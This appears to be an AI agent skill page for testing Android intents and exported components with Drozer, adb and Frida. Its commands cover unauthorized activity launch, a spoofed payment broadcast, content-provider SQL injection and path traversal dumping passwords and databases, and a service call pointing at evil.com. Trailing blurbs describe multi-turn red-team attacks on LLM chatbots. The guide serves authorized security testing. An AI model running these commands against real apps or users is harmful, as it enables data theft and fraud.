external/anthropic-cybersecurity-skills/skills/testing-android-intents-for-vulnerabilities/SKILL.md
Tests Android inter-process communication (IPC) through intents for vulnerabilities including intent injection, unauthorized component access, broadcast sniffing, pending intent hijacking, and content provider data leakage. Use when assessing Android app attack surface through exported components, testing intent-based data flows, or evaluating IPC security. Activates for requests involving Android intent security, IPC testing, exported component analysis, or Drozer assessment.
npx skillsauth add seikaikyo/dash-skills testing-android-intents-for-vulnerabilitiesInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Use this skill when:
Do not use on production devices without explicit authorization.
drozer agent.apk)pip install drozer)# Using Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app
# Output shows:
# X activities exported
# X broadcast receivers exported
# X content providers exported
# X services exported
# List exported activities
run app.activity.info -a com.target.app
# List exported services
run app.service.info -a com.target.app
# List exported receivers
run app.broadcast.info -a com.target.app
# List content providers
run app.provider.info -a com.target.app
# Launch exported activities directly
run app.activity.start --component com.target.app com.target.app.AdminActivity
# Launch with intent extras
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
--extra string user_id 1337
# Test intent injection via data URI
adb shell am start -a android.intent.action.VIEW \
-d "content://com.target.app/users/admin" com.target.app
# If admin activity opens without auth, report as authorization bypass
# Send broadcast to exported receivers
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
--extra string amount "0.01" --extra string recipient "attacker"
# Sniff broadcasts for sensitive data
run app.broadcast.sniff --action com.target.app.USER_LOGIN
# Via ADB
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
--es email "[email protected]"
# Query content providers for data leakage
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"
# Test SQL injection in content providers
run app.provider.query content://com.target.app.provider/users \
--selection "1=1) UNION SELECT username,password FROM users--"
# Test path traversal
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db
# Find injectable providers
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.app
// Monitor PendingIntent creation via Frida
Java.perform(function() {
var PendingIntent = Java.use("android.app.PendingIntent");
PendingIntent.getActivity.overload("android.content.Context", "int",
"android.content.Intent", "int").implementation =
function(context, requestCode, intent, flags) {
console.log("[PendingIntent] getActivity:");
console.log(" Intent: " + intent.toString());
console.log(" Flags: " + flags);
// Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
var FLAG_MUTABLE = 0x02000000;
if ((flags & FLAG_MUTABLE) !== 0) {
console.log(" [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
}
return this.getActivity(context, requestCode, intent, flags);
};
});
# Attempt to bind to exported services
run app.service.start --action com.target.app.SYNC_SERVICE \
--extra string server "https://evil.com/data_sink"
run app.service.send com.target.app com.target.app.MessengerService \
--msg 1 0 0 --extra string command "dump_database" --bundle-as-obj
| Term | Definition | |------|-----------| | Exported Component | Android component (activity/service/receiver/provider) accessible to other apps on the device | | Intent | Messaging object for requesting actions from other components; can be explicit (target specified) or implicit (action-based) | | Pending Intent | Token wrapping an intent for future execution by another app; mutable PendingIntents can be modified by recipients | | Content Provider | Component for structured data sharing between apps; SQL injection target if query parameters are not sanitized | | Broadcast Receiver | Component receiving system or app broadcasts; exported receivers can be triggered by any app |
tools
Conduct comprehensive GDPR compliance assessments by evaluating data processing activities against EU Regulation 2016/679, including Article 30 records of processing, lawful basis validation, data subject rights implementation, Data Protection Impact Assessments (DPIAs) under Article 35, breach notification procedures, international transfer safeguards (SCCs, adequacy decisions), and technical/organizational measures under Article 32. Use when processing personal data of EU residents, preparing for supervisory authority audits, implementing privacy-by-design for new systems, scoping compliance gaps for M&A due diligence, assessing third-party processors, or responding to data subject access requests at scale. Incorporates 2026 guidance from ICO, EDPB, and post-Data (Use and Access) Act 2025 UK-GDPR considerations. Do not use for implementing specific Article 32 controls — use implementing-gdpr-data-protection-controls; or for DSAR automation — use implementing-gdpr-data-subject-access-request.
tools
Parse Windows forensic artifacts—$MFT/$J (MFTECmd), Prefetch (PECmd), registry hives (RECmd), shellbags, and Amcache—into normalized CSV/JSON with Eric Zimmerman's EZ Tools, then load results into Timeline Explorer for analysis. Use during DFIR/incident-response investigations, after triage collection (e.g. with KAPE), to establish program execution, file/folder access, and persistence evidence from acquired forensic images.
development
Build automated multi-turn adversarial attacks against conversational LLM targets using Microsoft PyRIT's RedTeamingOrchestrator, CrescendoOrchestrator (gradual escalation), and TreeOfAttacksWithPruningOrchestrator (adaptive branching), with scorer feedback loops and persisted conversation memory. Use when single-shot LLM scanning is insufficient and you need multi-turn, scorer-driven AI red-team campaigns against a chatbot or agent.
testing
Stand up MISP, enable and cache curated threat feeds (CIRCL, abuse.ch, Feodo Tracker), apply warninglists to suppress false positives, query indicators with PyMISP, and export attributes as auto-generated Suricata/Sigma/Wazuh detection rules. Use when maturing a MISP instance to actively drive detection, curating threat feeds with quality controls, or automating IOC-to-detection pipelines for the SIEM/IDS.